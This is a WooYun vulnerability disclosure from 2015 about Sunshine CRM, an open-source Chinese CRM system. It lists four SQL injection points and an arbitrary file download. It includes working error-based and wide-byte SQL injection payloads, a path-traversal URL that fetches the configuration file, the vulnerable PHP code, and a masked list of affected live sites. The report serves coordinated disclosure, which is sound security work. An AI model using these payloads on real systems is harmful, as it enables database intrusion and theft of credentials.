当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0140006

漏洞标题:单点开源CRM系统多个漏洞打包#影响众多企业

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-09-13 09:25

修复时间:2015-12-14 14:54

公开时间:2015-12-14 14:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-13: 细节已通知厂商并且等待厂商处理中
2015-09-15: 厂商已经确认,细节仅向厂商公开
2015-09-18: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-11-09: 细节向核心白帽子及相关领域专家公开
2015-11-19: 细节向普通白帽子公开
2015-11-29: 细节向实习白帽子公开
2015-12-14: 细节向公众公开

简要描述:

详细说明:

  郑州单点科技(官网自行百度)应该隶属于通达旗下的吧?毕竟看到开源CRM的下载地址用的是通达的域名。单点开源免费CRM系统是单点科技开发的,基于GPLv3协议发行,针对中小企业管理活动,提供客户关系管理员(CRM),进销存 (JXC),人力资源(HRM),后勤(办公用品,固定资产,公物维修)、物业管理等功能,软件开源免费,争取打造中国开源CRM软件 第一品牌。
开源CRM本地集成一键式安装包:

http://**.**.**.**/OA_train/%E9%80%9A%E8%BE%BEOA%E5%8F%AF%E9%80%89%E7%BB%84%E4%BB%B6/%E6%94%B6%E8%B4%B9%E7%BB%84%E4%BB%B6-%E8%AF%95%E7%94%A8%E7%89%88/%E9%80%9A%E8%BE%BEOA%E6%95%99%E8%82%B2%E7%AE%A1%E7%90%86%E7%BB%84%E4%BB%B6/%E5%8D%95%E7%82%B9%E5%AE%A2%E6%88%B7%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FSunshineCRM%E5%AE%89%E8%A3%85%E5%8C%85.exe


漏洞总共是4处SQL注入与1处任意文件下载:

1、/general/ERP/Enginee/Module/user_select/tree.php?DEPT_ID=       DEPT_ID参数存在注入
2、/general/ERP/Enginee/Module/user_select_single/tree.php?DEPT_ID= DEPT_ID参数存在注入
3、/general/ERP/Enginee/Module/user_select/user_online.php?UID_STR=1 UID_STR参数存在注入
4、/general/ERP/Development/main.php?Tablename=kaccessbank&FileIniname=accessban Tablename参数存在注入
5、/general/ERP/Framework/download.php? action=download&attachmentid=1&attachmentname=..%252f..%252f..%252f..%252fmyerp%252fconfig.inc.php 任意文件下载


Error

错误#1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' order by DEPT_NO' at line 1SQL语句: SELECT * from department where DEPT_PARENT=''' order by DEPT_NO文件:


Case:影响众多企业的CRM,考虑安全枚举部分:

mask 区域
1.http://**.**.**/general/ERP/LOGIN/index.php_
2.http://**.**.**/general/ERP/LOGIN/index.php_
3.http://**.**.**//general/ERP/LOGIN/index.php_
4.http://**.**.**/general/ERP/LOGIN/index.php_
5.http://**.**.**/general/ERP/LOGIN/index.php_
6.http://**.**.**/general/ERP/LOGIN/_
7.http://**.**.**/general/ERP/LOGIN/_
8.http://**.**.**/app/SunshineCRM/general/ERP/LOGIN/_
9.http://**.**.**/general/ERP/LOGIN/_
*****eral/ERP*****
10.http://**.**.**/general/ERP/LOGIN/_
11.http://**.**.**/general/ERP/LOGIN/_
12.http://**.**.**/general/ERP/LOGIN/_
13.http://**.**.**/crm/general/ERP/LOGIN/index.php_
14.http://**.**.**/general/ERP/LOGIN/index.php_
15.http://**.**.**/crm/general/ERP/LOGIN/index.php_
**********
*****节%df ^*****
16.http://**.**.**/general/ERP/LOGIN/_
17.http://**.**.**/xcmr/general/ERP/LOGIN/_
18.http://**.**.**/general/ERP/LOGIN/_
19.http://**.**.**/general/ERP/LOGIN/_
20.http://**.**.**/general/ERP/LOGIN/_
21.http://**.**.**/general/ERP/LOGIN/_
22.http://**.**.**/erp/general/ERP/LOGIN/_
23.http://**.**.**/general/ERP/LOGIN/_
24.http://**.**.**/general/ERP/LOGIN/_
25.http://**.**.**/general/ERP/LOGIN/_
26.http://**.**.**/general/ERP/LOGIN/_
27.http://**.**.**/general/ERP/LOGIN/index.php_
28.http://**.**.**/general/ERP/LOGIN/index.php

漏洞证明:

Security Testing:
本页的漏洞详情主要由乌云转交Cncert、CNVD通报厂商处理,非教唆利用方式,请勿仿照此漏洞恶意攻击入侵站点行为,由此造成的后果,本漏洞提交者概不负责。

1、上述案例中因版本的问题有些需要加入宽字节来注入,本地下载安装包就是该类版本。
比如说不需要宽字节注入的;测试Payload如下:
' AND (SELECT 1031 FROM(SELECT COUNT(*),CONCAT(0x7c,(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,50)),0x7c,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YDTF'='YDTF

01.png


对于需要宽字节注入的测试Payload:
%df'UNION ALL SELECT NULL,CONCAT(0x7c,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x7c),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%23

02.png


2、第二处与第一处类似,不测试了
3、测试Payload:
1') AND (SELECT 1735 FROM(SELECT COUNT(*),CONCAT(0x7c,(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,50)),0x7c,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('SjdM'='SjdM

03.png


宽字节测试Payload:
%df') UNION ALL SELECT NULL,CONCAT(0x7c,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x7c),NULL,NULL%23

04.png


4、/general/ERP/Development/main.php?Tablename=kaccessbank&FileIniname=accessban
非宽字节测试Payload:
' AND (SELECT 7582 FROM(SELECT COUNT(*),CONCAT(0x7c,(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,50)),0x7c,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'cqiW'='cqiW&FileIniname=accessban

05.png


5、任意文件下载可能因为权限问题,在本地测试是成功的,PHP代码如下:
$attachmentid = $_GET[attachmentid];
$attachmentname = $_GET[attachmentname];
if ( $_GET['action'] == "download" )
{
$pathname = "../attachment/".$attachmentid."/".urldecode( $attachmentname )."";
is_file( $pathname ) ? "" : ( $pathname = "attachment/".$attachmentid."/".urldecode( $attachmentname )."" );
if ( is_file( $pathname ) )
{
$filesize = filesize( $pathname );
$file = fopen( $pathname, "r" );
header( "Pragma: no-cache" );
header( "Cache-control: private" );
header( "Content-type: application/octet-stream" );
header( "Content-Length: {$filesize}" );
header( "Content-Disposition: attachment; filename=\"".urldecode( $attachmentname )."\"" );
header( "Content-Description: ".$_SERVER['SERVER_NAME'] );
echo fread( $file, $filesize );
fclose( $file );
exit( );
}
构造Payload:
http://localhost:81/general/ERP/Framework/download.php?action=download&attachmentid=1&attachmentname=..%252f..%252f..%252f..%252fmyerp%252fconfig.inc.php

1.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-09-15 14:53

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商(或网站管理单位)的直接处置渠道,待认领。

最新状态:

暂无